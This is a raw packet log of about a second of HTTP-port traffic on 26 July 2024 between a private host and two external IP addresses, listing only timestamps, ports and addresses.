Jul 26, 2024 08:57:56.752099991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.752114058 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.752115965 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.752135992 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.752129078 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.752163887 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.752178907 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.821959019 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.821970940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.821980953 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822025061 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.822029114 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822041988 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822052002 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822062016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822076082 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.822105885 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.822341919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822351933 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822364092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822426081 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822437048 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822446108 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822457075 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822458982 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.822501898 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.822506905 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822518110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822527885 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822582006 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822592020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822602987 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822613001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822630882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.822945118 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.838927031 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.838937998 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.838948965 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839009047 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839020014 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839029074 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839040041 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839119911 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839129925 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839139938 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839149952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839160919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839210033 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839221001 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839255095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839267015 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839356899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839369059 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839380026 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839390039 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839404106 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839443922 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839456081 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839483976 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839497089 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839580059 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839592934 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839602947 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839612961 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839623928 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839689016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839699984 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839709997 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839761972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839773893 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839837074 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839847088 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839857101 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839867115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839878082 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839886904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.839905024 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.839940071 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.840188026 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.840773106 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.840784073 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.840796947 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.840821981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.840831995 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.840842009 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.840852976 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.840940952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841015100 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.841021061 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841032028 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841042995 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841052055 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.841078043 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841089010 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841099024 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841172934 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841181993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841192961 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841216087 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841259956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841272116 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841280937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841291904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841301918 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841388941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841399908 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841408968 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841419935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841429949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841470003 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841480017 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841535091 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841550112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841613054 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841623068 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841634035 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841644049 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841654062 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841734886 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841743946 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841753960 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841764927 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841835976 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841845989 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841856003 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841867924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841923952 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841936111 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841947079 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.841957092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.842020988 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.842031002 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.842041016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.842150927 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.842210054 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.843241930 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.843274117 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.844115019 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.844115019 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.844141960 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.845201015 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.845227003 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.854252100 CEST	80	49768	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:56.854465008 CEST	49768	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:56.855285883 CEST	49768	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:57:56.860044956 CEST	80	49768	185.215.113.19	192.168.2.7
Jul 26, 2024 08:57:56.913914919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.913935900 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.913958073 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.913969994 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.913979053 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.913997889 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914010048 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914020061 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914031029 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914041996 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914052010 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914062977 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914072990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914083004 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914092064 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914102077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914110899 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914122105 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914132118 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914143085 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914156914 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914165020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914170980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.914176941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.915183067 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.915292025 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.915318966 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.930382013 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.930393934 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.930403948 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.930414915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.931247950 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.931258917 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.931267977 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.931278944 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.931516886 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.932183981 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.932194948 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.932205915 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.932216883 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.933161020 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.933172941 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.933183908 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.933195114 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.933206081 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.934104919 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.934117079 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.934128046 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.934138060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.934930086 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.934946060 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.934950113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.934953928 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.934964895 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.935662985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.935674906 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.935683966 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.935697079 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.935709000 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.935719967 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.937596083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.937616110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.937627077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.937638044 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.937648058 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.937659025 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.937686920 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.937699080 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.937709093 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.937732935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.937743902 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.939734936 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.939747095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.939758062 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.939773083 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.940186024 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.940196991 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.940207005 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.940217972 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.940227985 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.940237999 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.941132069 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.941144943 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.941154957 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.941163063 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.941173077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.941183090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.941196918 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.941209078 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.942080021 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.942086935 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.942091942 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.942099094 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.942109108 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.942118883 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.942131042 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.942142010 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.943010092 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.943022013 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.943032980 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.943043947 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.943414927 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.943519115 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.943526983 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.943531990 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.943545103 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.943552971 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.943558931 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.943562031 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.944510937 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.944523096 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.944531918 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.944544077 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.944554090 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.944564104 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.944575071 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.944585085 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.945456982 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.945472002 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.945482016 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.945492029 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.945502043 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.945512056 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:56.946842909 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.947343111 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.953356981 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.953824043 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.953850031 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.954161882 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.954188108 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.954211950 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.954257011 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.956087112 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:56.956106901 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.005609035 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.005621910 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.005667925 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.006288052 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.006299973 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.006310940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.006321907 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.006333113 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.006475925 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.007200956 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.007211924 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.007222891 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.007232904 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.007244110 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.007416010 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.008094072 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.008106947 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.008116961 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.008183002 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.008204937 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.012231112 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.012244940 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.012255907 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.012265921 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.012276888 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.012286901 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.012362003 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.022912979 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.022947073 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.022981882 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.023020983 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.023035049 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.023447037 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.023480892 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.023510933 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.023519993 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.023546934 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.023566008 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.023569107 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.023606062 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.023720026 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.024368048 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.024401903 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.024454117 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.024456978 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.024511099 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.024542093 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.024569035 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.024575949 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.024591923 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.024625063 CEST	49756	80	192.168.2.7	85.28.47.31
Jul 26, 2024 08:57:57.026369095 CEST	80	49756	85.28.47.31	192.168.2.7
Jul 26, 2024 08:57:57.026401997 CEST	80	49756	85.28.47.31	192.168.2.7
